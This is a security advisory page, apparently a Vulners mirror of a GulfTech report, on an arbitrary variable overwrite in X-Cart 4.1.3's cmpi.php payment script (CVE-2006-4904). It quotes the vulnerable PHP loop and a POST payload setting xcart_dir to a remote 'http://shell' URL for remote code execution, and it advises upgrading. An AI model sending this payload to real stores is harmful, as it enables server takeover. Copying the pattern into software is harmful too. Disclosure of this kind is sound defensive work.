Lucene search
K

X-Cart < 4.1.3 - Arbitrary Variable Overwrite Vulnerability

🗓️ 20 Jan 2018 00:00:00Reported by GulfTech SecurityType 
zdt
 zdt
🔗 0day.today👁 43 Views

X-Cart <= 4.1.3 Arbitrary Variable Overwrite Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2006-4904
21 Sep 200600:00
cve
Cvelist
CVE-2006-4904
21 Sep 200600:00
cvelist
Exploit DB
X-Cart &lt; 4.1.3 - Arbitrary Variable Overwrite
18 Aug 201600:00
exploitdb
EUVD
EUVD-2006-4891
7 Oct 202500:30
euvd
exploitpack
X-Cart 4.1.3 - Arbitrary Variable Overwrite
18 Aug 201600:00
exploitpack
NVD
CVE-2006-4904
21 Sep 200600:07
nvd
X-Cart Arbitrary Variable Overwrite
 
Vendor: Qualiteam
Product: X-Cart
Version: <= 4.1.3
Website: http://www.x-cart.com/
 
BID: 20108 
CVE: CVE-2006-4904 
OSVDB: 28957 
SECUNIA: 22005 
 
Description:
X-Cart is a commercial web based eCommerce solution written in PHP and MySQL that allows for webmasters to host an online marketplace. Unfortunately an attacker may be able to execute arbitrary php code on an X-Cart installation by overwriting key configuration variables. However, because the vulnerability allows for any variables to be overwritten other attacks such as SQL Injection are probably possible as well. Qualiteam have released an updated version of their X-Cart software, and users are strongly encouraged to upgrade as soon as possible or delete the cmpi.php script that resides within the payments directory. 
 
 
Arbitrary Variable Overwriting
X-Cart comes with a number of payment processing scripts. Unfortunately the Cardinal payment processing script (cmpi.php) is vulnerable to arbitrary variable overwriting that allows for an attacker to conduct various attacks including arbitrary php code execution. Let's have a look at the vulnerable code in question. 
if ($HTTP_POST_VARS) {
    foreach ($HTTP_POST_VARS as $var => $value) {
        $$var = $value;
    }
}
 
As we can see every single post variable is dynamically evaluated. This is especially dangerous because register globals and magic quotes gpc settings do not affect an attackers ability to overwrite key configuration variables. 
 
stand_alone=0&httpsmod_active=1&orderids=1&close_frame=1&xcart_dir=http://shell 
 
By sending a post request with the above variables set will automatically include an execute a remote arbitrary file on the vulnerable X-Cart installation, which in turn leads to remote php code execution on the underlying web server in most cases. 
 
 
Solution:
The X-Cart team were very quick and professional in their response to this issue.An updated version of X-Cart has been released and users are encouraged to upgrade as soon as possible.

#  0day.today [2018-02-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation